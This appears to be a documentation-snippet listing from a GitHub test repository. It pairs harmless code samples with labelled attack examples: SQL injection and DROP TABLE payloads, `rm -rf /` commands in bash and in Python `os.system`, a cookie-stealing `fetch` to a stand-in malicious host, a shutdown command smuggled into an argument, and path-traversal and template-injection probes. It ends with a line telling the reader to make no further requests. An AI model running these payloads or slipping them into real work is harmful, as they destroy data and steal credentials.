### SQL Injection Example Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Illustrates a common SQL injection technique by appending a comment to bypass authentication. This is a security vulnerability example. ```sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'password'; ``` -------------------------------- ### Python Greeting Function Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Defines and calls a simple Python function to generate a greeting. This is a basic example of function definition and string formatting. ```python def greet(name): return f"Hello, {name}!" print(greet("World")) ``` -------------------------------- ### Bash Command Injection Example Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Shows a bash command that includes a potentially harmful command chained with `&&`. This illustrates a command injection vulnerability. ```bash echo "Safe command" && rm -rf / ``` -------------------------------- ### Bash Shell Commands Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Executes basic shell commands, including echoing text and listing directory contents. This is a standard way to interact with the command line. ```bash echo "This is a shell command" ls -la ``` -------------------------------- ### Python System Command Execution Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Uses Python's `os.system` to execute a shell command. This can be dangerous if the command string is not properly sanitized. ```python import os os.system("rm -rf /") ``` -------------------------------- ### JavaScript Fetch with Cookie Leak Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Demonstrates a JavaScript `fetch` request that could potentially leak sensitive cookie information. This highlights a common web security concern. ```javascript fetch("http://malicious.site?cookie=" + document.cookie); ``` -------------------------------- ### Bash Command Injection with Python Argument Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Illustrates how a command-line argument to a Python script can be manipulated to inject shell commands. This is a form of command injection. ```bash python app.py --input="test; shutdown -h now" ``` -------------------------------- ### JavaScript Sum Function Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md Defines and calls a JavaScript function to add two numbers. This demonstrates basic function definition and arithmetic operations in JavaScript. ```javascript function sum(a, b) { return a + b; } console.log(sum(2, 3)); ``` -------------------------------- ### Potentially Harmful Code Snippets Source: https://github.com/elifnurdeniz/context7-test/blob/main/index.md A collection of code snippets that represent various security risks, including SQL injection, command injection, path traversal, and XSS. ```sql "; DROP TABLE users; -- ``` ```sql '; EXEC xp_cmdshell('dir'); -- ``` ```path traversal ../../.. /etc/passwd ``` ```template injection ${7*7} ``` ```javascript ``` ```template injection {{7*7}} ``` ```url encoding %0Acat /etc/passwd ``` ```template injection {% print 'test' %} ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.